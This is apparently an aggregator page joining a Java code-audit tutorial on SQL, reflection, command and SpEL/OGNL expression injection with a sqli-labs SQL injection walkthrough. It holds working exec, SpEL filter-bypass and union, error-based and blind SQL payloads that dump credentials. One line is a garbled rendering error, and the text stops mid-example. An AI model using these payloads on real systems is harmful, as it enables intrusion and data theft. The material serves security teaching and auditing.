精华内容
下载资源
问答
  • DLL注入工具x64

    热门讨论 2015-12-31 13:37:18
    注入工具核心注入部分使用NtCreateThreadEx + LdrLoadDlll方式实现,特色在于比一般的远程线程注入稳定,可以注入系统进程,服务进程等。使用时请保存好手头工作,以免蓝屏(我调试时蓝过很多次)。 更多详情请...
  • 对高频注入法做了深入分析,从仿真再到实验,都分析的很到位
  • 带SQL注入的一个ASP网站源码

    热门讨论 2016-12-29 10:54:41
    带SQL注入的一个ASP网站源码,ASP+ACCESS手动注入环境搭建,用来练手不错!
  • PHP+Mysql 带SQL注入源码 下载

    热门讨论 2017-01-01 17:41:07
    PHP+Mysql 带SQL注入源码、下载解压部署到环境中去就行了。
  • DLL注入工具有很多,但是也有很多无法注入系统进程如explorer.exe,notepad.exe等,特别是Win7以上平台。此注入工具核心注入部分使用NtCreateThreadEx + LdrLoadDlll方式实现,特色在于比一般的远程线程注入稳定,...
  • 文章目录注入SQL注入JDBC拼接不当造成SQL注入框架使用不当造成SQL注入不安全的反射命令注入代码注入表达式注入Spel表达式注入OGNL表达式注入模板注入 注入 SQL注入 JDBC拼接不当造成SQL注入 JDBC有两种方法执行SQL...
     
    

    注入

    SQL注入

    JDBC拼接不当造成SQL注入

    JDBC有两种方法执行SQL语句,分别为PrepareStatement和Statement。两个方法的区别在于PrepareStatement会对SQL语句进行预编译,而Statement方法在每次执行时都需要编译,会增大系统开销。理论上PrepareStatement的效率和安全性会比Statement要好,但并不意味着使用PrepareStatement就绝对安全,不会产生SQL注入

    PrepareStatement方法支持使用‘?’对变量位进行占位,在预编译阶段填入相应的值构造出完整的SQL语句,此时可以避免SQL注入的产生。但开发者有时为了便利,会直接采取拼接的方式构造SQL语句,此时进行预编译则无法阻止SQL注入的产生。如以下代码所示,PrepareStatement虽然进行了预编译,但在以拼接方式构造SQL语句的情况下仍然会产生SQL注入。代码示例如下(若使用“or 1=1”,仍可判断出这段程序存在SQL注入)

    String sql = "select * from user where id =" + req.getParameter("id");
    out.println(sql);
    try{
        PreparedStatement pstt = con.prepareStatement(sql);
        ResultSet re = pstt.executeQuery();
        while(rs.next()){
            out.println("<br>id:"+rs.getObject("id"));
            out.println("<br>name:"+re.getObject("name"));
        }
        catch(SQLException throwables){
            throwables.printStackTrace();
        }
    }
    

    正确地使用PrepareStatement可以有效避免SQL注入的产生,使用“?”作为占位符时,填入对应字段的值会进行严格的类型检查。将前面的“拼接构造SQL语句”改为如下“使用占位符构造SQL语句”的代码片段,即可有效避免SQL注入的产生

    PrintWriter out = resp.getWriter();
    String sql = "select * from user where id = ?"
    out.println(sql);
    try{
        PreparedStatement pstt = con.prepareStatement(sql);
        pstt.setInt(1,Integer.parseInt(req.getParameter("id")));
        ResultSet rs = pstt.executeQuery();
        ....
    }
    

    框架使用不当造成SQL注入

    如今的Java项目或多或少会使用对JDBC进行更抽象封装的持久化框架,如MyBatis和Hibernate。通常,框架底层已经实现了对SQL注入的防御,但在研发人员未能恰当使用框架的情况下,仍然可能存在SQL注入的风险

    Mybatis框架

    MyBatis框架的思想是将SQL语句编入配置文件中,避免SQL语句在Java程序中大量出现,方便后续对SQL语句的修改与配置

    MyBatis中使用parameterType向SQL语句传参,在SQL引用传参可以使用#{Parameter}和${Parameter}两种方式

    使用#{Parameter}构造SQL的代码如下所示

    <select id="getUsername" resultType="com.ocean">
        select id,name,age from user where name #{name}
    <select>
    

    image-20211105124708022

    从Debug回显的SQL语句执行过程可以看出,使用#{Parameter}方式会使用“?”占位进行预编译,因此不存在SQL注入的问题。用户可以尝试构造“name”值为“z1ng or 1=1”进行验证。回显如下,由于程序未查询到结果出现了空指针异常,因此此时不存在SQL注入

    使用${Parameter}构造SQL的代码如下所示

    <select id = "getUsername" resultType = "com.ocean">
        select id,name,age from user where name = ${name}
    <select>
    

    image-20211105124916552

    “name”值被拼接进SQL语句之中,因此此时存在SQL注入

    ${Parameter}采用拼接的方式构造SQL,在对用户输入过滤不严格的前提下,此处很可能存在SQL注入

    Hibernate

    Hibernate是一种ORM框架,全称为 Object_Relative DateBase-Mapping,Hibernate框架是Java持久化API(JPA)规范的一种实现方式。Hibernate 将Java 类映射到数据库表中,从 Java 数据类型映射到 SQL 数据类型。Hibernate是目前主流的Java数据库持久化框架,采用Hibernate查询语言(HQL)注入

    HQL的语法与SQL类似,受语法的影响,HQL注入在实际漏洞利用上具有一定的限制

    不安全的反射

    利用 Java 的反射机制,可以无视类方法、变量访问权限修饰符,调用任何类的任意方法、访问并修改成员变量值

    Class clazz = Class.forName("java.lang.Runtime");
    clazz.getMethod("exec",String.class.invoke(clazz.newInstance(),"id"));
    

    但是Runtime为单例模式,在其生命周期内只能有一个对象,因此以上代码是无法生效的,正确如下

    Class clazz = Class.forName("java.lang.Runtime");
    clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exe");
    

    这段payload可以拆分为以下代码

    Class clazz = Class.forName("java.lang.Runtime");
    Method execMethod = clazz.getMethod("exec",String.class);
    Method getRuntimeMethod = clazz.getMethod("getRuntime");
    Object runtime = getRuntimeMethod.invoke(clazz);
    execMethod.invoke(runtime,"calc.exe");
    

    Java中的Rce, 常见的可执行函数如:Runtime.getRuntime().exec(),在审计的时候也要看Process、ProcessBuilder.start()

    可能出现的环境

    1. 服务器直接存在可执行函数(exec()等),且传入的参数过滤不严格导致 RCE 漏洞
    2. 由表达式注入导致的 RCE 漏洞,常见的有:SpEL、OGNL(Struts2中常出现)、MVEL、EL、Fel、JST+EL等
    3. 由Java后端模板引擎注入导致的RCE漏洞,常见的如:Freemarker、Velocity、Thymeleaf(常用在Spring框架)等
    4. 由Java一些脚本语言引起的RCE漏洞,常见的如:Groovy、JavaScriptEngine等
    5. 由第三方开源组件引起的RCE漏洞,常见的如:Fastjson、Shiro、Xstream、Struts2、Weblogic等

    由不安全的输入造成的反射命令执行Demo

    代码对于传入的类、传入的类方法、传入类的参数没有做任何限制

    @WebServlet("/Rce")
    public class Rce extends HttpServlet {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
            PrintWriter printWriter = resp.getWriter();
    
            // 接收参数
            String name = req.getParameter("command");
            String method = req.getParameter("method");
            String str = req.getParameter("str");
    
            try {
                // 获取类的无参数构造方法
                Class getCommandClass = Class.forName(name);
                Constructor constructor = getCommandClass.getDeclaredConstructor();
                constructor.setAccessible(true);
    
                // 实例化类
                Object getInstance = constructor.newInstance();
    
                // 获取类方法
                Method getCommandMethod = getCommandClass.getDeclaredMethod(method, String.class);
    
                // 调用类方法
                Object mes = getCommandMethod.invoke(getInstance, str);
    
                printWriter.append("即将执行命令");
                printWriter.append((Character) mes);
                printWriter.flush();
            } catch (ClassNotFoundException | NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) {
                e.printStackTrace();
            }
        }
    }
    

    可以看到代码中存在反射调用,当调用不安全类时,会造成命令执行

    http://localhost:8080/JavaRCE_war_exploded/Rce?command=java.lang.Runtime&method=exec&str=calc
    

    image-20211103190540846

    命令注入

    Java的Runtime类可以提供调用系统命令的功能

    protected void doGet(HttpServletRequest req,HttpServletResponse resp) throws ServletException,IOException{
        String cmd = req.getParameter("cmd");
        Process process = Runtime.getRuntime().exec(cmd);
        InputStream in = process.getInputStream();
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        byte[] b = new byte[1024];
        int i = -1;
        while((i=in.read(b))!=-1){
            byteArrayOutputStream.write(b,0,i);
        }
        PrintWriter out = resp.getWriter();
        out.print(new String(byteArrayOutputStream.toByteArray()));
    }
    

    系统命令连接符有 |、||、&、&&

    • |:前边命令输出结果作为后边的输入
    • ||:前边的命令执行失败才执行后边的命令
    • &:前边的命令执行后执行后边的命令
    • &&:前边的命令执行成功执行后边的命令

    注意:Java环境下的命令执行,& 作为字符拼接,不能命令执行

    例:Process process = Runtime.getRuntime().exec("ping" + url)
    

    Runtime 类中的 exec 方法,要执行的命令可以通过字符串和数组的方式传入,当传入的参数类型为字符串时,会先经过StringTokenizer的处理,主要是针对空格以及换行符等空白字符进行处理,后续会分割出一个cmdarray数组保存分割后的命令参数,其中cmdarray的第一个元素为所要执行的命令

    代码注入

    产生代码注入漏洞的前提条件是将用户输入的数据作为Java代码进行执行

    由此所见,程序要有相应的功能能够将用户输入的数据当作代码执行,而Java反射就可以实现这样的功能:根据传入不同的类名、方法名和参数执行不同的功能

    String ClassName = req.getParameter("ClassName");
    String MethodName = req.getParameter("Method");
    String[] Args = new String[]{req.getParameter("Args").toString()};
    try{
        Class clazz = Class.forName(ClassName);
        Constructor constructor = clazz.getConstructor(String[].class);
        Object obj = constructor.newInstance(new Object[]{Args});
        Method method = clazz.getMethod(MethodName);
        method.invoke(obj);
    }
    ......
    

    代码注入更具有灵活性。例如在Apache Commons collections反序列化漏洞中直接使用Runtime.getRuntime().exec()执行系统命令是无回显的。有安全研究员研究出可回显的利用方式,其中一种思路是通过URLloader远程加载类文件以及异常处理机制构造出可以回显的利用方式

    具体步骤如下:

    首先构造出一个恶意类代码,并编译成Jar包放置在远程服务器上。然后利用ApacheCommons collections反序列化漏洞可以注入任意代码的特点,构造poc

    import Java.io.BufferedReader;
    import Java.io.InputStreamReader;
    public class Evil{
        public static void Exec(String args) throws Exception{
            Process proc = Runtime.getRuntime().exec(args);
        }
    }
    

    image-20211107141639880

    在将用户可控部分数据注入代码达到动态执行某些功能的目的之前,需进行严格的检测和过滤,避免用户注入恶意代码,造成系统的损坏和权限的丢失

    表达式注入

    表达式语言(Expression Language),又称EL表达式,是一种在JSP中内置的语言,可以作用于用户访问页面的上下文以及不同作用域的对象,取得对象属性值或者执行简单的运算和判断操作

    EL基础语法

    在JSP中,用户可以使用 来 表 示 此 处 为 E L 表 达 式 , 例 如 , 表 达 式 ” {}来表示此处为EL表达式,例如,表达式” EL{ name }”表示获取“name”变量

    EL表达式也可以实例化Java的内置类,如Runtime.class会执行系统命令

    image-20211107142238647

    Spel表达式注入

    Spel(Spring 表达式语言全程为Spring Expression Language)是Spring Framework创建的一种表达式语言,它支持在运行时查询和操纵对象图表,注意 Spel 是以 API 接口的形式创建的,允许将其集成到其他应用程序和框架中

    特性:

    • 使用 Bean 的 ID 来引用 Bean
    • 可调用方法和访问对象的属性
    • 可对值进行算数、关系和逻辑运算
    • 可使用正则表达式进行匹配
    • 可进行集合操作

    基础

    Spel 定界符

    Spel 使用 #{} 作为定界符,所有在打括号里的字符都被看做是 Spel 表达式,在其中可以使用 Spel 运算符、变量、引用 Bean 及其属性和方法等

    #{} 和 ${} 的区别:

    • #{} 就是 Spel 的定界符,用于指明内容为 Spel 表达式并执行

    • ${} 主要用于加载外部属性文件中的值

      两者可以混合使用,但是必须 #{} 在外面,KaTeX parse error: Expected 'EOF', got '#' at position 10: {} 在里面,如:#̲{'()’},注意单引号是字符串类型才添加的,如#{’ocean’},#{2222 }

    漏洞触发

    ExpressionParser parser = new SpelExpressionParser();//ExpressionParser构造解析器
    Expression exp = parser.parseExpression("'ocean'");//Expression负责评估定义的表达式字符串
    String message = (String) exp.getValue();//getValue方法执行表达式
    

    如果表达式字符串是可控的,那么可能就存在命令执行漏洞

    在 Spel 中,使用 T() 运算符会调用类作用域的方法和常量

    Expression exp = parser.parseExpression("T(java.lang.Runtime)");//Expression负责评估定义的表达式字符串
    

    括号中需要包括类名的全限定名,也就是包名加上类名,唯一例外的是,Spel 内置了 java.lang 报下的类声明,也就是 java.lag.String 可以通过 T(String) 访问,而不需要使用全限定名

    Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");
    

    payload构造

    Fuzz

    Expression exp = parser.parseExpression("''.class");
    Expression exp = parser.parseExpression("\"\".class");
    

    bypass payload

    • 反射调用

      T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
      
    • 反射调用+字符串拼接,针对java.long、Runtime、exec被过滤的情况

      T(String).getClass().forName("java.l"+"ang.Run"+"time").getMethod("ex"+"ec".T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")).new String[]{"cmd","/C","calc"}) 
      
    • 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符

      new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
      
    • 当执行的系统命令被过滤或者被URL编码时,可以通过String类动态生成字符

      T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
          
      等于T(java.lang.Runtime).getRuntime.exec('calc')    
      
    • JavaScript引擎通用poc

      T(javax.script.ScriptEngineManager).newInstance().getEngineByName('nashorn').eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time().ex"+"ec(s);")
      
    • 当T(getClass())被过滤时

      ''.class.forName('java.lang.Runtime')
      new String('s').class.forName('java.lang.Runtime')    
      

    实例UNctf-goodjava

    https://evoa.me/archives/14/#GoodJava

    OGNL表达式注入

    OGNL 全称Object-Graph Navigation Language即对象导航图语言,一种功能强大的表达式语言

    功能:

    • 存取对象的任意属性
    • 调用对象的方法
    • 遍历整个对象的结构图
    • 实现字段类型转化

    webwork2 和 Struts2.x 中使用 OGNL 代替原来的 EL 来做界面数据绑定(就是把textfield.hidden和对象层某个类的某个属性绑定在一起,修改和现实自动同步)Struts2框架因为滥用OGNL表达式,所以漏洞较多

    模板注入

    FreeMarker模板注入

    文章大部分转载于Java代码审计入门篇一书
    https://weread.qq.com/web/reader/c8732a70726fa058c87154b
    更多文章:https://mp.weixin.qq.com/s/lwpeuei58smGbAlezo1IwQ

    展开全文
  • SQL注入攻击与防御.pdf
  • sql注入详解

    千次阅读 2021-03-03 17:38:47
    报错注入 布尔盲注 延时注入 HTTP头注入 宽字节注入 堆叠查询 base64注入 一. 前言 结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。...

    目录

    一. 前言

    二. sql注入漏洞

    三. 如何挖掘sql注入漏洞

    四. 常见的注入手法

    联合查询(union注入)

    报错注入

    布尔盲注

    延时注入

    HTTP头注入

    宽字节注入

    堆叠查询

    二阶注入

    五. sql注入getshell的几种方式


    一. 前言

            结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准语言(ANSI X3. 135-1986),1987年得到国际标准组织的支持下成为国际标准。不过各种通行的数据库系统在其实践过程中都对SQL规范作了某些编改和扩充。所以,实际上不同数据库系统之间的SQL不能完全相互通用。
           SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个问题,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。

    二. sql注入漏洞

    漏洞原因

          由于前端传入后端查询的参数是可控的,通过在可控参数中注入SQL语句,破坏原有的SQL结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:

    1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。
    2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。

    我们可以举一个例子,以sqli-labs第一关为例,我们先修改源代码,将执行的sql语句打印出来,方便我们查看。我们在源码中添加如下语句

    echo '执行的sql语句为:'.$sql;
    echo '<br/>';
    echo '<br/>';

    访问页面如下,打印出了执行的sql语句

    1.注入判断

    在1后面加上单引号, ?id=1',页面显示有语法错误,说靠近 '1'' limit 0,1有语法错误,然后执行的sql语句变成了

    $sql="SELECT * FROM users WHERE id='  1 ' ' LIMIT 0,1";

    我们输入的那个单引号和前面的单引号产生了闭合,导致原有后面的那个单引号变成了多余,而sql语法中引号是必须成对出现的否则就会报错。

    既然输入的单引号成了多余也就证明程序没有对我们的输入进行过滤,那我们就构造语句将单引号进行闭合就好了,我们在1后面加上单引号,与前面的引号构成闭合 再接着在后面插入我们自己想要查询的语句,于是就产生了sql注入。

    注入可能存在的位置

           根据SQL 注入漏洞的原理,在用户“可控参数”中注入SQL 语句,也就是说Web 应用在获取用户数据的地方,只要带入数据库查询,都有存在SQL 注入的可能,这些地方通常包括:

    • @ GET 数据,如url中存在?id=1的这种
    • @ POST 数据,对浏览器发送了一个post的数据,携带的数据中存在变量值,如搜索框中的post数据
    • @ HTTP 头部(HTTP 请求报文其他字段,如cookie,user-agent)

    漏洞危害

           攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。

    sql注入防范

    • 过滤用户输入的不安全字符如'," 等
    • 采用预编译语句 Prepared Statement

    三. 如何挖掘sql注入漏洞

    注入可能存在的地方

    竟然是sql注入,那么这个地方肯定是与数据库有数据交互的,所以我们可以优先观察那种页面存在传值或者查询的地方。比如url中的GET型传参,如?id=1

    如我们看见这种就可以考虑

    或者是搜索框,前端将用户输入的数据代入到数据库中进行查询,这种以POST方法进行发送数据。如下这种地方

    此需要我们用burp截取查询的数据包,找到传参的变量然后进行测试

    注入点判断

    知道了哪些地方容易存在sql注入,然后我们就需要找到注入点,发现它是否存在注入漏洞。其实在真实的渗透测试项目中,最主要的就是如何找到注入点,找到了一般就可以交给sqlmap了。当然sqlmap也不可能所有的注入都能跑出来,这种以后再说

    我们可以在参数后面加单引号或者双引号,看是否会引发报错

    http://192.168.43.87/2_Shotting_Range/sql/Less-1/?id=1'
    http://192.168.43.87/2_Shotting_Range/sql/Less-1/?id=1"

    如果会引发报错,说明服务端对传入的参数没有做好过滤存在注入。此时注入点找到了,然后接下来最重要的是找到正确的闭合方法,只有找到了正确的闭合方法,我们才可以闭合sql语句一开始的引号然后再后面加上我们自己构造的语句。一般sql语句对传入的参数都会加引号的。如下面的sql语句

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $sql="SELECT * FROM users WHERE id="$id" LIMIT 0,1";
    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    $sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";

    如何探测出后端sql语句对存入的参数的正确的闭合方法了,我们可以在后面继续加上and或者or

    由于SQL语句中逻辑运算符具有优先级:=的优先级>and,and的优先级>or,因为id=1为真,1=1也为真,然后 真and真,所以这条语句为真,正常查询。1=2这条语句为假,所以真and假那肯定就为假了,所以这条语句什么都查询不出来。根据这个我们找到了后台sql语句对变量的包裹方式,那就是?id='$id',用的单引号包裹。

    http://192.168.43.87/2_Shotting_Range/sql/Less-1/?id=1' and 1=1 --+    正常显示
    http://192.168.43.87/2_Shotting_Range/sql/Less-1/?id=1' and 1=2 --+    不正常显示

    如果错误不回显,也没有布尔状态,那么我们可以考虑延时注入

    http://192.168.43.87/2_Shotting_Range/sql/Less-1/?id=1' and sleep(5) --+

    --是注释的意思,+是代表空格的意思。不一定要用注释符

    • 192.168.43.87/2_Shotting_Range/sql/Less-1/?id=1' and '1'='1                也可以,只要能构造闭合就行
    • 192.168.43.87/2_Shotting_Range/sql/Less-1/?id=1' and '1'='1
    • 192.168.43.87/2_Shotting_Range/sql/Less-1/?id=1' and '1'='1' and '      这肯定就不行了,因为' '为假,and ''就为假了,这里and要换成or就行
    • 192.168.43.87/2_Shotting_Range/sql/Less-1/?id=1' and '1'='1' or '         

    如果是在burp中进行探测的话

    get型

    1. 进行url编码

    我们需要先进行url编码,此时的--+中的+就不能写+了要用回车代替

    不进行编码的话,也可以用+代替空格,#代替--+ 。 %23代表#,也是注释符

    post型

    如果是post型的话,我们可以用上面的方法进行编码或者+代替空格也可以不使用,直接像在浏览器中探测一样

    四. 常见的注入手法

    SQL 注入漏洞根据不同的标准,有不同的分类。如按照数据类型和注入手法进行分类。但是从数据类型分类来看,SQL 注入分为数字型和字符型

    数据类型分类

    • 数字型:数字型注入就是说注入点的数据,即拼接到SQL 语句中是以数字型出现的,即数据两边没有被单引号、双引号包括。
    • 字符型:字符型注入正好相反

    注入手法分类

    @   UNION query SQL injection(联合查询注入)
    @   Error-based SQL injection(错型注入)
    @   Boolean-based blind SQL injection(布尔型注入)
    @   Time-based blind SQL injection(基于时间延迟注入)
    @   Stacked queries SQL injection(可多语句查询注入)

    为了练习sql注入,我们使用sqli-labs靶场进行sql注入学习,网上有很多安装教程这里就不演示了。建议学这个之前先学习sql语法,不然理解不了sql语句

    传送门:mysql

    联合查询(union注入)

    联合查询适合于有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化 ,

    漏洞靶场实战,传送门 -》webug 4.0 第一关 显错注入

    我们以sqli-labs第一关为例来学习联合查询。如下,要求我们传入一个id值过去

    传参?id=1

    1. 页面观察

    当我们输入id=1和id=2时,页面中name值和password的值是不一样的,说明此时我们输入的数据和数据库有交互并且将数据显示在屏幕上了

    2. 注入点判断

    开始判断是否存在注入,输入?id=1',页面发生报错,说明后端对我前端的数据输入没有很好的过滤,产生了sql注入漏洞

    继续判断 

    ?id=1' and 1=1 --+   页面正常显示   传送门 -》关于sql注入中的 --+

    ?id=1' and 1=2 --+  页面不正常显示,说明程序对我们的输入做出了正确的判断,所以注入点就是单引号

    3. 判断当前表的字段个数

    ?id=1 order by 3 --+   

    传送门 -》关于order by

    ?id=1 order by 4 --+ ,此时显示未知的列,说明此时当前表中只有3列

    4. 判断显示位

    上面我们判断出来了表中有3列,接下来判断我们的输入会在屏幕哪个地方进行回显

    ?id=-1' union select 1,2,3 --+ 

    让union select前面的参数查不出来,所以id=-1'

    如下,在name和password中回显了我们的输入,这时我们就随便选一个地方来放置接下来的测试语句。

    5. 爆数据库名字

    ?id=-1' union select 1,database(),3 --+

    6. 爆数据库中的表

    ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

    其中爆出来数据库中存在三个表

    7. 爆表中的字段

    我们这里选择一个表,users进行进一步的获取表中的字段值

    ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

    获取到三个字段,分别为id,username,password

    8. 爆相应字段的所有数据

    ?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users --+

    至此,一次完整的脱库过程结束了,联合查询也就结束了。

    报错注入

           报错注入用在数据库的错误信息会回显在网页中的情况,如果联合查询不能使用,首选报错注入。
           报错注入利用的是数据库的报错信息得到数据库的内容,这里需要构造语句让数据库报错。

           推荐三种报错注入的方法,直接套用就行。以less-1为例子

    1. group by 重复键冲

    and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+

    提交如下,获取数据库名字

    ?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+

    2. extractvalue() 函数

    ?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+

    提交 ?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+  获取数据库名字

    3. updatexml() 函数

    and updatexml(1,concat('^',(需要查询的内容),'^'),1)

    1. 提交如下,获取数据库名字

    ?id=1' and updatexml(1,concat('^',(database()),'^'),1) --+

    2. 获取当前数据库中表的名字

    ?id=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='security' ),'^'),1) --+

    这里是说要显示的内容超过一行它不能显示那么多,所以在 table_schema='security' 后加上 limit 0,1,显示第一行(显示第0行的往下一行,不包括第0行)

    如果要看第二行则,limit1,1(第一行的往下一行,不包括第一行,即显示第二行),看第三行则limit2,1。以这个方法获取第四个表为users

    3. 爆表中的字段

    ?id=1' and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),'^'),1) --+

    总共爆出的字段为: id , username , password

    4. 爆字段中的内容

    ?id=1' and updatexml(1,concat('^',(select group_concat(username,"--",password) from users limit 0,1 ),'^'),1) --+

    三组用户名和密码。

    布尔盲注

           布尔盲注,即在页面没有错误回显时完成的注入攻击。此时我们输入的语句让页面呈现出两种状态,相当于true和false,根据这两种状态可以判断我们输入的语句是否查询成功。以less-8关为例

    1. 我们输入正确的id,显示You are in .....

    我们输入错误的语句如id=1' ,或者id=-1时,就什么都不显示。这就是布尔盲注,屏幕上能得到信息不多,就是两种状态

    源码如下

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1 ";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    
    	if($row)
    	{
      	echo '<font size="5" color="#FFFF00">';	
      	echo 'You are in...........';
      	echo "<br>";
        	echo "</font>";
      	}
    	else 
    	{
        echo '<font size="5" color="#FFFF00">';
        }

    所以,我们构造判断语句,根据页面是否回显证实猜想。一般用到的函数ascii() 、substr() 、length(),exists()、concat()等。

    1. 判断数据库类型

    • MySQL数据库表      information_schema.tables
    • access                     msysobjects 
    • SQLServer               sysobjects

    用下的语句判断数据库。哪个页面正常显示,就属于哪个数据库

    //判断是否是 Mysql数据库
    http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) --+
    //判断是否是 access数据库
    http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) --+
    //判断是否是 Sqlserver数据库
    http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) --+

    所以当前数据库为mysql数据库

    2. 判断当前数据库名

    1:判断当前数据库的长度,利用二分法
    http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 --+  //正常显示
    http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 --+  //不显示任何数据
    http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 --+  //正常显示
    http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8 --+  //不显示任何数据
     
      大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为8个字符
     
    2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
    //判断数据库的第一个字符
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115 --+ //100为ascii表中的十进制,对应字母s
    //判断数据库的第二个字符
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+
    //判断数据库的第三个字符
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),3,1))>100 --+
    ...........
    由此可以判断出当前数据库为 security

    3. 判断当前库的表名

    //猜测当前数据库中是否存在admin表
    http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) --+
    
    1:判断当前数据库中表的个数
    // 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
    http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+
    
    2:判断每个表的长度
    //判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
    http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
    //判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
    http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+
    
    3:判断每个表的每个字符的ascii值
    //判断第一个表的第一个字符的ascii值
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
    //判断第一个表的第二个字符的ascii值               
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
    .........
    由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

    4. 判断表的字段

    • 判断字段个数
    • 判断每个字段的长度
    • 猜每个字段的字符
    //如果已经证实了存在admin表,那么猜测是否存在username字段
    http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin) 
      
    1:判断表中字段的个数
    //判断users表中字段个数是否大于5
    http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='security')>5 --+
    
    2:判断每个字段的长度
    //判断第一个字段的长度
    http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 --+
    //判断第二个字段的长度   
    http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 --+
    
    3:判断每个字段名字的ascii值
    //判断第一个字段的第一个字符的ascii
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+
    //判断第一个字段的第二个字符的ascii
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 --+
    ...........
    
    由此可判断出users表中存在 id、username、password 字段

    5. 爆字段中的数据

    • 猜字段中数据的长度
    • 猜字段数据的每个字符ascii码 得字符
    我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
     
    1: 判断数据的长度
    // 判断id字段的第一个数据的长度
    http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 --+
    // 判断id字段的第二个数据的长度
    http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 --+
    
    2:判断数据的ascii值
    // 判断id字段的第一行数据的第一个字符的ascii值
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit  0,1),1,1))>100 --+
    // 判断id字段的第二行数据的第二个字符的ascii值
